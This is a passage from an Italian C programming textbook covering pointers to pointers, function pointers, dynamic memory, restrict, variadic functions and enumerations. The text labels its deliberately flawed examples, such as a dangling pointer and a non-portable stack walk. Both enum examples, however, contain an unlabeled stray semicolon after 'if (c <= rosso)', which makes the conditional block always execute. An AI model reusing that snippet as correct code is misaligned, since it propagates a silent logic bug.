La figura successiva dovrebbe facilitare la comprensione del senso dell'array di puntatori. Come si può osservare, per accedere agli elementi degli array a cui puntano quelli di *x* è necessario dereferenziare gli elementi. Pertanto, '`*x[0]`' corrisponde al contenuto del primo elemento del primo sotto-array, '`*(x[0]+1)`' corrisponde al contenuto del secondo elemento del primo sotto-array e così di seguito. Dal momento che i sotto-array non hanno una quantità uniforme di elementi, non è semplice la loro scansione.

Figura 77.215. Schematizzazione semplificata del significato dell'array di puntatori definito nell'esempio.

Si potrebbe obbiettare che la scansione di questo array di puntatori a array può avvenire ugualmente in modo sequenziale, come se fosse un array «normale» a una sola dimensione. Molto probabilmente ciò è possibile effettivamente, dal momento che è probabile che il compilatore disponga le variabili in memoria in sequenza, come si vede nella figura successiva, ma ciò non può essere garantito.

Figura 77.216. La disposizione più probabile delle variabili dell'esempio.

Se invece di un array di puntatori si ha un puntatore di puntatori, il meccanismo per l'accesso agli elementi terminali è lo stesso. L'esempio seguente contiene la dichiarazione di un puntatore a puntatori di tipo intero, a cui viene assegnato l'indirizzo dell'array già descritto. La scansione può avvenire nello stesso modo, ma ne viene proposto uno alternativo e più chiaro, con il quale si comprende cosa si intende per puntatore a più dimensioni:

```
#include <stdio.h>

int main (void)
{
```

```
    int a[] = {1, 2, 3, 4};
    int b[] = {5, 6,};
    int c[] = {7, 8, 9};
    int *x[] = {a, b, c};
    int **y = x;

    printf ("*x[0] = {%i, %i, %i, %i}\n", y[0][0], y[0][1],
                                          y[0][2], y[0][3]);
    printf ("*x[1] = {%i, %i}\n", y[1][0], y[1][1]);
    printf ("*x[2] = {%i, %i, %i}\n", y[2][0], y[2][1], y[2][2]);

    return 0;
}
```

Come si vede, la variabile ***y*** viene usata come se fosse un array a due dimensioni, ma lo stesso sarebbe valso per la variabile ***x***, in qualità di array di puntatori.

Per capire cosa succede, occorre fare mente locale al fatto che il nome di una variabile puntatore seguito da un numero tra parentesi quadre corrisponde alla dereferenziazione dell'***n***-esimo elemento successivo alla posizione a cui punta tale variabile, mentre il valore puntato in sé corrisponde all'elemento zero (ciò è come dire che ****p*** equivale a '`p[0]`'). Quindi, scrivere '`*(p+n)`' è esattamente uguale a scrivere '`p[n]`'. Se il valore a cui punta una variabile puntatore è a sua volta un puntatore, per dereferenziarlo occorrono due fasi: per esempio *****p*** è il valore che si ottiene dereferenziando il primo puntatore e quello che si trova nella prima destinazione (quindi *****p*** equivale a '`*p[0]`' e a '`p[0][0]`'). Volendo gestire gli indici si possono considerare equivalenti i puntatori: '`*(*(p+m)+n)`', '`*(p[m]+n)`', '`(p[m])[n]`' e '`p[m][n]`'.

Figura 77.218. Tanti modi alternativi per raggiungere lo stesso elemento.

```
int a[4]   int b[2]   int c[3]   int *x[3]   int **y

*(*(x+2)+1)
*(x[2]+1)
(x[2])[1]
x[2][1]

*(*(y+2)+1)
*(y[2]+1)
(y[2])[1]
y[2][1]
```

Seguendo lo stesso ragionamento si possono gestire strutture ad albero più complesse, con più livelli di puntatori, ma qui non vengono proposti esempi di questo tipo.

Sia l'array di puntatori, sia il puntatore a puntatori, possono essere gestiti con gli indici come se si trattasse di un array a più dimensioni. Pertanto, la notazione '`a[m][n]`' può rappresentare l'elemento ***m***,***n*** di un array ***a*** ottenuto secondo la rappresentazione «normale» a matrice, oppure secondo uno schema ad albero attraverso dei puntatori: la differenza sta solo nella presenza o meno di elementi costituiti da puntatori.

77.5.14 Puntatori e funzioni

Nello standard del linguaggio C, la dichiarazione di una funzione è in pratica la definizione di un puntatore al codice della stessa, un po' come accade con gli array.[22] In generale, è possibile dichiarare dei puntatori a un tipo di funzione definito in base al valore restituito e ai tipi di parametri richiesti, attraverso una forma che richiama quella del prototipo di funzione. Il modello seguente è quello della dichiarazione del prototipo:

```
tipo nome_funzione (tipo_parametro [ nome_parametro] [,...]);
```

Questo è invece il modello della dichiarazione del puntatore:

```
tipo (*nome_puntatore) (tipo_parametro [ nome_parametro] [,...]);
```

L'esempio seguente mostra la dichiarazione di un puntatore a una funzione che restituisce un valore di tipo '**int**' e utilizza due parametri di tipo '**int**':

```
int (*f) (int, int);
```

L'esempio seguente è equivalente, con la differenza che si nominano i parametri, anche se ciò è perfettamente inutile, esattamente come nei prototipi delle funzioni:

```
int (*f) (int i, int j);
```

L'assegnamento del puntatore avviene nel modo più semplice possibile, trattando il nome della funzione nello stesso modo in cui si fa con gli array: come un puntatore.

```
int (*f) (int, int);     // Puntatore a funzione.
int prodotto (int, int); // Prototipo di funzione descritta più avanti.
...
f = prodotto; // Il puntatore «f» contiene il riferimento alla funzione.
```

Una volta assegnato il puntatore, si può eseguire una chiamata di funzione semplicemente utilizzando il puntatore, per cui, i due esempi seguenti sono equivalenti:

```
i = f (2, 3);
```

```
i = prodotto (2, 3);
```

Nel linguaggio C precedente allo standard ANSI, perché il puntatore potesse essere utilizzato in una chiamata di funzione, occorreva indicare l'asterisco, in modo da dereferenziarlo:

```
i = (*f) (2, 3);          // Non serve più.
```

Per concludere viene mostrato un esempio completo, anche se banalizzato: la funzione ***f()*** restituisce un numero intero ottenuto incrementando di una unità l'argomento ricevuto. Questa funzione viene chiamata attraverso un puntatore denominato ***pf***.

```
#include <stdio.h>

int f (int i)
{
    return (i + 1);
}

int main (void)
{
  int x = 4;
  int y;
  int (*pf) (int i);
  pf = f;
  y = pf (x);
  printf ("%i + 1 = %i\n", x, y);
  return 0;
}
```

Riquadro 77.226. Confusione tra le dichiarazioni.

L'interpretazione umana del linguaggio, a proposito dei puntatori, può essere complicata, pertanto l'uso dei puntatori deve essere fatto con criterio, senza abusarne. Gli esempi seguenti sono solo i più semplici:
`int f (...);` /* dichiarazione della funzione ***f()*** che restituisce un valore intero; */
`int *f (...);` /* dichiarazione della funzione ***f()*** che restituisce un puntatore a un intero; */
`int (*f) (...);` /* dichiarazione del puntatore ***f*** a una funzione che restituisce un intero; */
`int *(*f) (...);` /* dichiarazione del puntatore ***f*** a una funzione che restituisce un puntatore a un intero. */
Ancora più difficile sarebbe dichiarare una funzione che restituisce un array, o peggio, un puntatore a un array.

77.5.14.1 Puntatori a funzione, membri di una struttura

Le strutture sono descritte in un'altra sezione (77.7), tuttavia è opportuno annotare qui in che modo possa essere utilizzato un puntatore a una funzione, quando è un membro di una struttura:

```
struttura.membro (argomenti);
```

```
(*struttura.membro) (argomenti);
```

I due modelli sono equivalenti e si riferiscono alla chiamata di una funzione, il cui puntatore è costituito dalla variabile ***struttura.membro***. È evidente che risulta più comprensibile la prima delle due modalità. A titolo di esempio, ipotizzando la struttura ***totale*** e il membro ***sottrai***, per una funzione che riceve un argomento di tipo intero (precisamente il numero 7), la chiamata potrebbe essere scritta indifferentemente nei due modi successivi:

```
...
totale.sottrai (7);
...
```

```
...
(*totale.sottrai) (7);
...
```

77.5.15 Puntatori a variabili distrutte

L’esempio seguente potrebbe funzionare, ma contiene un errore di principio:

```
#include <stdio.h>

double *f (void)
{
  double x = 1234.5678;
  return &x;                    // Orrore!
}

int main (int argc, char *argv[])
{
  double *p;
  p = f ();
  printf ("x = %f\n", *p);
  return 0;
}
```

La funzione *f()* dichiara localmente una variabile che inizializza al valore 1234,5678, quindi restituisce il puntatore a questa variabile. A parte il fatto che il compilatore possa segnalare o meno la cosa, non si può utilizzare un puntatore rivolto a un’area di memoria che, almeno teoricamente, non è più allocata. In altri termini, se si costruisce un puntatore a qualcosa, occorre tenere sempre presente il ciclo di vita della sua destinazione e non solo della variabile che contiene tale riferimento.

Purtroppo questa attenzione non viene imposta e, generalmente, il compilatore consente di usare un puntatore a variabili che, formalmente, sono già state distrutte.

77.5.16 Puntatore nullo

Il linguaggio C prescrive che si possa assegnare a una variabile puntatore il valore zero, in qualità di numero intero:

```
...
double *p = 0;
...
```

Il puntatore che contiene il valore zero è indefinito, nel senso che punta a un'area di memoria irraggiungibile. Un puntatore di questo tipo è noto come ***puntatore nullo*** o *null pointer*; inoltre, due puntatori nulli, qualunque sia il tipo di dati a cui si riferiscono, sono uguali in una comparazione. Pertanto si potrebbe verificare la validità di un puntatore nel modo seguente:

```
…
char *p = 0;
…
if (p == 0)
  {
    // Null pointer.
    …
  }
…
```

A ogni modo, lo standard prescrive che nel file 'stddef.h' sia definita la macro-variabile ***NULL***, a rappresentare formalmente un puntatore nullo:

```
#include <stddef.h>
…
char *p = NULL;
…
if (p == NULL)
  {
    // Null pointer.
    …
  }
…
```

Va osservato che la variabili puntatore, quando acquisiscono un indirizzo in base al verificarsi di certe condizioni, vanno inizializzate opportunamente al valore nullo (come già apparso negli esempi), in modo da poter poi verificare se hanno ottenuto o meno un tale indirizzo.

77.5.17 Utilizzo della memoria in modo dinamico

L'allocazione dinamica della memoria avviene generalmente attraverso la funzione ***malloc()***, oppure ***calloc()***, definite nella libreria standard, secondo i prototipi contenuti nel file 'stdlib.h'. Se queste riescono a eseguire l'operazione, restituiscono il puntatore alla memoria allocata, altrimenti restituiscono il valore '**NULL**'.

```
void *malloc (size_t dimensione);
```

```
void *calloc (size_t quantità, size_t dimensione);
```

La differenza tra le due funzioni sta nel fatto che la prima, ***malloc()***, viene utilizzata per allocare un'area di una certa dimensione, espressa generalmente in byte, mentre la seconda, ***calloc()***, permette di indicare una quantità di elementi e si presta per l'allocazione di array.

Dovendo utilizzare queste funzioni per allocare della memoria, è necessario conoscere la dimensione dei tipi primitivi di dati, ma per evitare incompatibilità conviene farsi aiutare dall'operatore '**`sizeof`**'.

Il valore restituito da queste funzioni è di tipo '**`void *`**' cioè una specie di puntatore neutro, indipendente dal tipo di dati da utilizzare (in quanto il tipo '**`void`**', in sé, rappresenta una variabile di rango nullo, la quale non può contenere alcun dato). Per questo, in linea di principio, prima di assegnare a un puntatore il risultato dell'esecuzione di queste funzioni di allocazione, è opportuno eseguire un cast.

```
int *pi = NULL;
...
pi = (int *) malloc (sizeof (int));

if (pi != NULL)
  {
    // Il puntatore è valido e allora procede.
    ...
  }
else
  {
    // La memoria non è stata allocata e si fa qualcosa
    // di alternativo.
    ...
  }
```

Come si può osservare dall'esempio, il cast viene eseguito con la notazione '**`(int *)`**' che richiede la conversione esplicita in un puntatore a '**`int`**'. Lo standard C non richiede l'utilizzo di questo cast, quindi l'esempio si può ridurre al modo seguente:

```
...
pi = malloc (sizeof (int));
...
```

La memoria allocata dinamicamente deve essere liberata in modo esplicito quando non serve più. Infatti, il linguaggio C non offre alcun meccanismo di ***raccolta della spazzatura*** o *garbage collector*. Per questo si utilizza la funzione ***free()*** che richiede semplicemente il puntatore e non restituisce alcunché.

```
void free (void *puntatore);
```

È necessario evitare di deallocare più di una volta la stessa area di memoria, perché ciò potrebbe provocare effetti imprevedibili.

```
int *pi = NULL;
...
```

```
pi = (int *) malloc (sizeof (int));

if (pi != NULL)
  {
    // Il puntatore è valido e allora procede.
    …
    free (pi); // Libera la memoria
    pi = NULL; // e per sicurezza azzera il puntatore.
    …
  }
else
  {
    // La memoria non è stata allocata e si fa qualcosa
    // di alternativo.
    …
  }
```

Lo standard prevede una funzione ulteriore, per la riallocazione di memoria: ***realloc()***. Questa funzione si usa per ridefinire l'area di memoria con una dimensione differente:

```
void *realloc (void *puntatore, size_t dimensione);
```

In pratica, la riallocazione deve rendere disponibili gli stessi contenuti già utilizzati, salvo la possibilità che questi siano stati ridotti nella parte terminale. Se invece la dimensione richiesta nella riallocazione è maggiore di quella precedente, lo spazio aggiunto può contenere dati casuali. Va osservato che la collocazione in memoria, successiva alla riallocazione, può essere differente da quella precedente. Il funzionamento di ***realloc()*** non è garantito, pertanto occorre verificare nuovamente, dopo il suo utilizzo, che il puntatore ottenuto sia ancora valido.

77.5.18 Puntatori «ristretti»

Lo standard del linguaggio C prevede il modificatore '**`restrict`**' per le variabili puntatore, da usare come nell'esempio seguente:

```
…
int *restrict p;
…
```

L'utilizzo di tale modificatore equivale a una dichiarazione di intenti (ovvero una promessa) che il programmatore fa al compilatore, nei riguardi del puntatore. Precisamente si dichiara che il puntatore viene usato per accedere ad aree di memoria in modo esclusivo, nel senso che nell'ambito del contesto a cui si fa riferimento, non esistono altri accessi alle stesse aree per mezzo di altri puntatori o di altre variabili. Partendo da questo presupposto, il compilatore può ottimizzare il risultato della compilazione semplificando il codice finale.

La definizione formale del significato di questo modificatore è molto complessa e il compilatore non è in grado di segnalarne un uso improprio. Ciò significa che va usata questa possibilità con prudenza, solo quando si ritiene di averne capito il senso e l'utilità.

Come esempio iniziale si può osservare il prototipo della funzione standard ***strcpy()***:

```
char *strcpy (char *restrict dst, const char *restrict org);
```

Ci sono due parametri costituiti da stringhe che non devono risultare sovrapposte e in questo caso, il vincolo '**`restrict`**' è appropriato per esprimere il concetto: se entrambi i puntatori delle stringhe sono dichiarati con il modificatore '**`restrict`**', è evidente che le stringhe rispettive non devono sovrapporsi.

L'impegno che il programmatore prende utilizzando il modificatore '**`restrict`**' è finalizzato solo al favorire l'ottimizzazione della compilazione.

La promessa che un programmatore fa dichiarando un puntatore '**`restrict`**' è limitata al campo di azione del puntatore stesso. Per esempio, tornando all'esempio del prototipo della funzione ***strcpy()***, lì si intende che i parametri vengono usati nella funzione senza sovrapposizioni, ma, dato il contesto, rimane il fatto che le stringhe fornite come argomento della chiamata debbano già rispettare il vincolo di non essere sovrapposte.

Esempio 77.237. Viene allocata un'area di memoria composta da 100 elementi della grandezza di un intero normale. I primi 50 elementi vengono scanditi con il puntatore ***r1*** mentre quelli restanti con il puntatore ***r2***. Nell'esempio, agli elementi '***r1*`[`*i*`]`**' viene assegnato il valore di '***r2*`[`*i*`]+1`**', anche se il fatto in sé non ha una grande importanza.

```
int *restrict r1, *restrict r2;
int *m = malloc (100 * sizeof (int));
int i;

r1 = m;          // r1 viene usato per i primi 50 elementi.
r2 = m + 50;     // r2 viene usato per i 50 elementi successivi.

for (i = 0; i < 50; i++)
  {
    r1[i] = r2[i] + 1;
  }
```

Esempio 77.238. Viene allocata un'area di memoria composta da 100 elementi della grandezza di un intero normale. Gli elementi pari vengono scanditi con il puntatore ***r1*** mentre quelli dispari con il puntatore ***r2***. Nell'esempio, agli elementi '***r1*`[`*j*`]`**' viene assegnato il valore di '***r2*`[`*j*`]+1`**', anche se il fatto in sé non ha una grande importanza.

```
int *restrict r1, *restrict r2;
int *m = malloc (100 * sizeof (int));
int i;
int j;

r1 = m;          // r1 viene usato per gli elementi con indice pari.
r2 = m + 1;      // r2 viene usato per gli elementi con indice dispari.

for (i = 0; i < 50; i++)
```

```
    {
      j = i * 2;
      r1[j] = r2[j] + 1;
    }
```

Se il compilatore non riconosce il modificatore '**`restrict`**' significa solo che non è in grado di ottimizzare il codice in un certo modo, ma non è necessario modificare il proprio programma per togliere la parola chiave relativa, perché è sufficiente sfruttare una macro-variabile del precompilatore, a cui non si assegna alcun valore:

```
...
#define restrict
...
```

Oppure, se ciò non è possibile, la si dichiara come un commento privo di contenuto:

```
...
#define restrict /**/
...
```

77.6 Le funzioni

Per comprendere come «funzionano» le funzioni nel linguaggio C, occorre fare mente locale all'uso della pila dei dati con il linguaggio macchina. Qui si chiariscono alcuni concetti, partendo dal ripasso della pila dei dati.

77.6.1 Pila dei dati

Dal punto di vista del linguaggio macchina, generalmente si dispone di una pila di dati che si sviluppa a partire da un certo indirizzo di memoria, utilizzando di volta in volta indirizzi inferiori della stessa. Attraverso la pila dei dati, prima della chiamata di una funzione, gli argomenti vengono passati alla stessa aggiungendoli alla pila; successivamente, all'interno della funzione, tutte le variabili locali vengono ottenute facendo crescere ulteriormente la pila. Al termine dell'esecuzione della funzione, la pila viene ridotta allo stato precedente alla chiamata, espellendo le variabili locali e i parametri della chiamata.

Figura 77.241. Semplificazione del meccanismo attraverso cui si passano gli argomenti a una funzione e si gestiscono le variabili locali.

Naturalmente, dal momento che la pila di dati viene gestita attraverso la memoria centrale, la quale consente un accesso diretto ai dati, tramite un indirizzo, nella pila si possono gestire dati di tutti i tipi, volendo anche degli array. A proposito degli array, quando questi sono creati all'interno delle funzioni, pertanto attraverso l'uso della pila dei dati, al compilatore non è necessario sapere preventivamente le dimensioni di questi, perché lo spazio che usano nella memoria è allocato dinamicamente, tramite la pila.

77.6.2 Dichiarazione e chiamata di una funzione

La dichiarazione di una funzione prevede l'indicazione del tipo di variabili che compongono i parametri, allo scopo di far sapere al compilatore in che modo inserire gli argomenti nella pila, al momento della chiamata. Si osservi l'esempio seguente in cui si dichiara una funzione con due parametri molto semplici: un intero normale e un intero di dimensione «doppia».

```
void f (int x, long long int y)
{
    ...
    ...
}
```

Partendo dal presupposto che la pila dei dati sia gestita a blocchi di «parole» del microprocessore, si può ipotizzare ragionevolmente in che modo siano impilati gli argomenti della chiamata. Si suppone di chiamare la funzione nel modo seguente e che la parola sia da 32 bit:

```
...
f (0x13579BDF, 0x123456789ABCDEF);
...
```

Alla chiamata della funzione, i parametri dovrebbero apparire nella pila come nella figura successiva, trascurando il problema dell'inversione eventuale dei byte:

PUSH

$13579BDF_{16}$ **int x**

12345678_{16}

$9ABCDEF_{16}$ **long long int y**

...

...

Come si vede, gli argomenti vengono impilati in ordine inverso, in modo tale che il primo argomento appaia all'inizio della pila.

Ci sono molti dettagli da definire sul come vadano impilati gli argomenti di una chiamata; in particolare è da chiarire in che modo vadano trattati i dati la cui dimensione è inferiore alla parola del microprocessore, così come per quelli che si articolano in strutture. Questi dettagli vanno chiariti quando si vogliono scrivere funzioni da usare assieme a codice scritto in linguaggio assemblatore, oppure anche per altri linguaggi, se per quelli si utilizzano compilatori non conformi a quello usato per il C.

77.6.3 Elenco indefinito di parametri

Il linguaggio C ammette che le funzioni siano dichiarate con almeno un parametro esplicito e un elenco indefinito di parametri successivi. In altre parole, si ammette che ci sia un parametro certo e un elenco, eventuale, di altri parametri sconosciuti. Questo avviene, per esempio, con funzioni standard quali ***printf()***:

```
int printf (const char *formato, ...);
```

Quando si chiama una funzione del genere, gli argomenti successivi al primo, se riguardano valori numerici, vengono «promossi» in modo tale da avere una dimensione minima di riferimento. Per la precisione, i valori interi di rango inferiore a quello di un intero comune, sono convertiti al livello di intero '**`int`**' (con segno o senza, in base alle caratteristiche di partenza); i valori in virgola mobile, se sono espressi secondo un formato di rango inferiore a '**`double`**', vengono trasformati semplicemente in '**`double`**'. Gli interi e i valori in virgola mobile di rango superiore, rimangono invariati.

È da osservare che, se si tenta di passare come argomento un valore che occupa uno spazio inferiore alla dimensione della parola del microprocessore, pur dichiarando tutti i parametri è molto probabile che il compilatore debba utilizzare ugualmente una parola intera, riempiendo in qualche modo lo spazio restante con dati nulli; pertanto, in presenza di parametri di dimensione non stabilita, è più che appropriata la promozione predefinita degli argomenti a valori multipli della parola.

Viene mostrato un esempio di programma contenente una funzione con un numero indefinito di parametri, nella quale, gli argomenti della chiamata vengono comunque estratti dalla pila dei dati, conoscendo le dimensioni usate nella chiamata. L'esempio funziona con un compilatore GNU C e serve solo per comprendere il meccanismo, ma per il momento non rappresenta il modo corretto di agire a questo proposito:

```
#include <stdio.h>

void f (int w,...)
{
  //
  // Traduce l'indirizzo di «w» nel puntatore «p».
  //
  char *p = (char *) &w;
  //
  // Sposta il puntatore all'inizio del secondo parametro.
  //
  p = p + sizeof w;
  //
  // Mostra il valore del primo e del secondo parametro.
  //
  printf ("w = %i; ", w);
  printf ("x = %Lf; ", *((long double *)p));
  //
  // Sposta il puntatore all'inizio del terzo parametro.
  //
  p = p + sizeof (long double);
  //
  // Mostra il terzo parametro.
  //
  printf ("y = %lli; ", *((long long int *)p));
  //
  // Sposta il puntatore all'inizio del quarto parametro.
  //
  p = p + sizeof (long long int);
  //
  // Mostra il quarto parametro.
  //
  printf ("z = %i\n", *((int *)p));
  //
  return;
}

int main (int argc, char *argv[])
{
  f (10, (long double) 12.34, (long long int) 13, 14);
  return 0;
}
```

Come si vede, per raggiungere gli argomenti successivi al primo, conoscendo le loro caratteristiche, si scandisce in pratica la memoria occupata dalla pila dei dati, prendendo come riferimento l'indirizzo del primo parametro, il quale costituisce il riferimento certo. Si misura la dimensione del primo parametro e si aggiusta il puntatore in modo da posizionarsi dopo la fine di questo, sapendo che da lì in poi si trovano gli argomenti successivi. Il puntatore è di tipo '**`char *`**', in modo da poterlo gestire a unità di «caratteri», conformemente al valore prodotto dall'operatore '**`sizeof`**'. Se tutto funziona come previsto, il programma mostra correttamente il messaggio seguente:

```
w = 10; x = 12.340000; y = 13; z = 14
```

Il modo corretto di estrapolare i valori dei parametri non dichiarati richiede l'uso di alcune macro-istruzioni della libreria standard, contenute nel file di intestazione '`stdarg.h`'. Si osservi come va trasformato l'esempio già apparso per rispettare la formalità standard:

```
#include <stdio.h>
#include <stdarg.h>

void f (int w,...)
{
  //
  // Dichiara le variabili che servono a contenere
  // gli argomenti privi di parametri formali.
  //
  long double x;
  long long int y;
  int z;
  //
  // Dichiara il puntatore ai parametri.
  //
  va_list ap;
  //
  // Posiziona il puntatore dopo il primo parametro,
  // ovvero dopo l'ultimo parametro dichiarato esplicitamente.
  //
  va_start (ap, w);
  //
  // Estrapola il secondo argomento della chiamata (portando avanti
  // il puntatore di conseguenza.
  //
  x = va_arg (ap, long double);
  //
  // Mostra il valore del primo e del secondo argomento
  // ottenuto dalla chiamata della funzione.
  //
  printf ("w = %i; ", w);
  printf ("x = %Lf; ", x);
  //
  // Estrapola il terzo argomento.
```

```
    //
    y = va_arg (ap, long long int);
    //
    // Mostra il terzo argomento.
    //
    printf ("y = %lli; ", y);
    //
    // Estrapola il quarto argomento.
    //
    z = va_arg (ap, int);
    //
    // Mostra il quarto e ultimo argomento.
    //
    printf ("z = %i\n", z);
    //
    // Conclude la scansione degli argomenti.
    //
    va_end (ap);
    //
    return;
}

int main (int argc, char *argv[])
{
    f (10, (long double) 12.34, (long long int) 13, 14);
    return 0;
}
```

Come si vede, è necessario incorporare il file di intestazione '`stdarg.h`' della libreria standard. All'inizio della funzione si dichiara una variabile di tipo '**`va_list`**' per scandire l'elenco di parametri: si tratta evidentemente di un puntatore (molto probabilmente al tipo '**`char`**'). Subito dopo si inizializza la variabile da usare per la scansione con la macro-istruzione '**`va_start`**' che ha l'apparenza di una funzione. A '**`va_start`**' viene passata la variabile da usare come puntatore per gli argomenti e l'ultimo parametro dichiarato espressamente nella funzione, allo scopo di aggiornare il puntatore e di portarlo all'inizio del primo argomento privo di un parametro esplicito. Successivamente si utilizza la macro-istruzione '**`va_arg`**', anche questa con l'apparenza di una funzione, per estrapolare l'argomento a cui punta la variabile di tipo '**`va_list`**', usata per lo scopo, aggiornando conseguentemente la variabile-puntatore, in modo da essere pronta per l'argomento successivo. Al termine si usa '**`va_end`**', la quale può essere indifferentemente una macro-istruzione o una funzione vera e propria, allo scopo di concludere l'uso del puntatore dichiarato per la scansione dei parametri.

Le macro-istruzioni '**va_start**' e '**va_arg**' non potrebbero essere realizzate in forma di funzioni. Infatti, '**va_start**' utilizza apparentemente come argomento l'ultimo parametro della funzione, ma per calcolare la posizione del parametro successivo servirebbe invece l'indirizzo di tale variabile. In modo analogo, la macro-istruzione '**va_arg**' richiede l'indicazione del tipo di dati da estrarre, mentre una funzione vera potrebbe accettare solo la dimensione restituita dall'operatore '**sizeof**'; inoltre restituisce un valore dello stesso tipo, mentre una funzione vera può restituire un solo tipo prestabilito.

Nell'esempio non si vede cosa accade quando si trasmette un argomento costituito da un carattere ('**char**'). In tal caso bisogna tenere in considerazione l'effetto della promozione a intero; pertanto, la macro-istruzione ***va_arg*** va usata indicato un tipo '**int**' (e non un tipo '**char**'). Lo stesso dicasi per i valori in virgola mobile, che vanno estratti prevedendo un formato '**double**', anche se nell'argomento originale dovesse trattarsi di '**float**' (e ammesso che l'argomento non sia espresso in un formato ancora più grande).

77.6.4 Annotazioni su «printf()» e altre funzioni simili

Da quanto descritto a proposito della promozione dei valori numerici, interi o in virgola mobile, si comprende che le rappresentazioni di valori numerici vanno fatte preferibilmente a partire da interi di tipo '**int**' o da valori in virgola mobile di tipo '**double**'. Si osservino gli esempi seguenti:

- ```
  printf ("%hd\n", 123);
  ```
  in linea di principio, lo specificatore di conversione '**%hd**' attende un valore di tipo '**short int**', ma il valore 123 che gli viene fornito è implicitamente di tipo '**int**';

- ```
  printf ("%hd\n", (short int) 123);
  ```
  esattamente come nell'esempio precedente e a nulla serve il tentativo di indicare un cast nell'argomento della chiamata alla funzione;

- ```
  printf ("%c\n", 'A');
  ```
  lo specificatore di conversione '**%c**' si attende un valore di tipo '**char**' (con o senza segno), ma il carattere '**A**' che gli viene fornito è implicitamente di tipo '**int**'.

Nel caso della funzione ***scanf()***, questi problemi non ci sono, perché gli argomenti variabili sono costituiti tutti da puntatori ad aree di memoria che devono essere in grado di contenere le informazioni da inserire.

77.6.5 Costante predefinita «__func__»

Lo standard del linguaggio prescrive che, se all'interno di una funzione viene usato il nome '**__func__**', questo si deve tradurre nel nome della funzione che lo contiene. In pratica, il compilatore che incontra questo nome, dichiara automaticamente, all'interno della funzione, la costante seguente:
  ```

```
static const char __func__[] = "nome_funzione";
```

L'esempio seguente mostra in che modo se ne potrebbe fare uso:

```
#include <stdio.h>
void f (void)
{
  printf ("Sono nella funzione \"%s\".\n", __func__);
}
int main (int argc, char *argv[])
{
  f ();
  return 0;
}
```

Una volta compilato il programma, eseguendolo si ottiene:

```
Sono nella funzione "f".
```

77.7 Struttura, unione, campo, enumerazione, costante composta

Fino a questo punto sono stati incontrati solo i tipi di dati primitivi, oltre agli array di questi (incluse le stringhe). Nel linguaggio C, come in altri, è possibile definire dei tipi di dati aggiuntivi, derivati dai tipi primitivi.

Qui si usa la convenzione di nominare le strutture, le unioni e le enumerazioni con una lettera iniziale maiuscola. Per quanto riguarda invece i tipi di dati derivati, ottenuti con l'istruzione '**`typedef`**', si segue l'uso comune di aggiungere l'estensione '**`_t`**'.

77.7.1 Enumerazioni

È possibile dichiarare una variabile di tipo enumerativo, costituita tecnicamente da un intero, la quale può rappresentare solo un insieme prestabilito di valori, indicati simbolicamente attraverso delle definizioni. I valori simbolici che possono essere rappresentati sono tradotti in un numero intero, ma il programmatore non dovrebbe avere la necessità di avere a che fare direttamente con tali valori numerici corrispondenti. In altri termini, il tipo enumerativo è una forma di rappresentazione di un intero attraverso costanti mnemoniche.

```
enum nome { costante [, costante ]...}
```

La sintassi indicata mostra il modo in cui si definisce un tipo del genere: all'interno di parentesi graffe si elencano i nomi delle costanti che possono essere assegnate a una variabile di questo tipo. Tuttavia, alle costanti si può associare un valore intero in modo esplicito; pertanto, la costante può essere espressa così:

nome_simbolico [=*n*]

Si osservi l'esempio seguente che comunque non rappresenta un programma completo:

```
…
enum Colore { nero, marrone, rosso, arancio, giallo, verde, blu,
              viola, grigio, bianco, argento=100, oro };
…
enum Colore c;          // Dichiara la variabile «c».
…
c = marrone + 1;        // Assegna a «c» il valore successivo a
                        // «marrone»; in pratica assegna il valore
                        // «rosso».
…
if (c <= rosso);                        // Se il colore va dal nero
  {                                     // al rosso, visualizza un
    printf ("Non mi piace: %i\n", c);   // messaggio e mostra anche
  }                                     // il numero corrispondente.
…
```

All'inizio viene dichiarato il tipo enumerativo '**`Colore`**', come insieme di colori principali, definiti simbolicamente per nome. Va osservato che nel caso dell'argento, viene associato espressamente il valore 100.

In mancanza di associazioni esplicite tra il valore simbolico e valore numerico, il compilatore associa al primo dei simboli il valore zero e dà a quelli successivi un numero ottenuto incrementando di una unità quello precedente. Nel caso dell'esempio, nero corrisponde a zero, marrone a uno, rosso a due e così di seguito fino al bianco. Il colore argento è definito espressamente (quindi dal nove del bianco si salta al 100 dell'argento) e il colore dell'oro viene determinato implicitamente come pari a ***argento***+1, ovvero uguale a 101.

Seguendo l'esempio si vede la dichiarazione della variabile ***c*** di tipo '**`enum Colore`**'. In pratica, viene dichiarata una variabile di tipo intero, in grado di contenere i valori dell'enumerazione '**`Colore`**'.

Successivamente si assegna alla variabile ***c*** la somma tra la costante ***marrone*** (pari a uno) e il numero uno. In pratica si assegna il valore due, ma in base al contesto si intende di avere assegnato ***rosso***.

Alla fine dell'esempio si vede un confronto tra la variabile ***c*** e un colore di quelli definiti simbolicamente. Di fatto si sta confrontando il valore della variabile con il numero due, ma in pratica sembra di valutare la cosa solo sul piano della sequenza ideale che è stata attribuita a quei colori.

La dichiarazione di una variabile enumerativa coincide quindi con la dichiarazione di un insieme di costanti simboliche, le quali non possono essere ridefinite. Pertanto, non è possibile dichiarare due variabili diverse che condividono costanti simboliche con lo stesso nome, a meno di essere in un campo di azione differente:

```
enum Colori { nero, marrone, rosso, arancio, giallo, verde, blu,
              viola, grigio, bianco };

enum Bianco_e_nero { nero, bianco };    // Non si può.
```

Le costanti simboliche definite attraverso le enumerazioni, possono essere usate anche al di fuori delle variabili dichiarate espressamente per questo scopo, purché possano ragionevolmente contenerne il valore. È anche evidente che al posto delle enumerazioni definite in questo modo sia possibile gestire direttamente le costanti. L'esempio seguente riporta i passi equivalenti di quanto già visto all'inizio della sezione:

```
…
const int nero    = 0;
const int marrone = 1;
const int rosso   = 2;
const int arancio = 3;
const int giallo  = 4;
const int verde   = 5;
const int blu     = 6;
const int viola   = 7;
const int grigio  = 8;
const int bianco  = 9;
const int argento = 100;
const int oro     = 101;
…
int c;                  // Dichiara la variabile «c».
…
c = marrone + 1;        // Assegna a «c» il valore successivo a
                        // «marrone»; in pratica assegna il valore
                        // «rosso».
…
if (c <= rosso);                        // Se il colore va dal nero
  {                                     // al rosso, visualizza un
    printf ("Non mi piace: %i\n", c);   // messaggio e mostra anche
  }                                     // il numero corrispondente.
…
```

77.7.2 Strutture

